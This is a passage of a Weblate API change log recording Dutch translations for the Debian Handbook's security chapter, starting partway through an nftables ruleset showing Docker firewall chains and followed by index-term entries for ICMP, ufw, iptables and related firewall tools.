bytes 0 jump DOCKER\n\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n\t}\n\n\tchain INPUT {\n\t\ttype nat hook input priority 100; policy accept;\n\t}\n}\ntable ip filter {\n\tchain DOCKER {\n\t}\n\n\tchain DOCKER-ISOLATION-STAGE-1 {\n\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n\t\tcounter packets 0 bytes 0 return\n\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n\t\tcounter packets 0 bytes 0 return\n\t}\n\n\tchain DOCKER-ISOLATION-STAGE-2 {\n\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n\t\tcounter packets 0 bytes 0 return\n\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n\t\tcounter packets 0 bytes 0 return\n\t}\n\n\tchain FORWARD {\n\t\ttype filter hook forward priority filter; policy drop;\n\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n\t\toifname \"docker0\" ct state established,related counter packets 0 bytes 0 accept\n\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n\t}\n\n\tchain DOCKER-USER {\n\t\tcounter packets 0 bytes 0 return\n\t\tcounter packets 0 bytes 0 return\n\t}\n\n\tchain INPUT {\n\t\ttype filter hook input priority filter; policy accept;\n\t}\n\n\tchain OUTPUT {\n\t\ttype filter hook output priority filter; policy accept;\n\t}\n}\n</computeroutput>",
            "id": 82268561,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268561/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779286/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:08:56.331851+01:00",
            "action": 5,
            "target": "<primary><command>ping</command></primary>",
            "id": 82268550,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268550/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739124/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:08:50.778952+01:00",
            "action": 5,
            "target": "<primary>Internet Control Message Protocol</primary><see>ICMP</see>",
            "id": 82268549,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268549/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739123/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:08:40.731298+01:00",
            "action": 5,
            "target": "<primary>protocol</primary><secondary>ICMP</secondary>",
            "id": 82268541,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268541/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779282/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:08:35.406445+01:00",
            "action": 5,
            "target": "<primary>ICMP</primary>",
            "id": 82268539,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268539/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779279/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:08:31.281853+01:00",
            "action": 5,
            "target": "<emphasis>TERUG NAAR DE BASIS</emphasis> ICMP",
            "id": 82268535,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268535/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739120/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:07:46.007339+01:00",
            "action": 5,
            "target": "<primary>firewall</primary><secondary>regels</secondary>",
            "id": 82268515,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268515/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739117/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:06:30.476705+01:00",
            "action": 5,
            "target": "<primary>Open Systems Interconnection</primary><see>OSI</see>",
            "id": 82268477,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268477/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739116/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:06:25.390998+01:00",
            "action": 2,
            "target": "<primary>OSI</primary>",
            "id": 82268475,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/82268475/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739114/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:05:59.582086+01:00",
            "action": 2,
            "target": "<primary>nftables</primary>",
            "id": 82268473,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/82268473/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739113/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:05:47.811043+01:00",
            "action": 5,
            "target": "<primary><filename>/etc</filename></primary><secondary><filename>/etc/ufw/</filename></secondary>",
            "id": 82268472,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268472/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739109/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:05:37.068202+01:00",
            "action": 2,
            "target": "<primary><command>ufw</command></primary>",
            "id": 82268457,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/82268457/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739108/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:05:29.625224+01:00",
            "action": 2,
            "target": "<primary><command>fwbuilder</command></primary>",
            "id": 82268456,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/82268456/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779258/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:04:30.785975+01:00",
            "action": 5,
            "target": "<primary><command>iptables</command></primary>",
            "id": 82268450,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268450/?format=api"
        }
    ]
}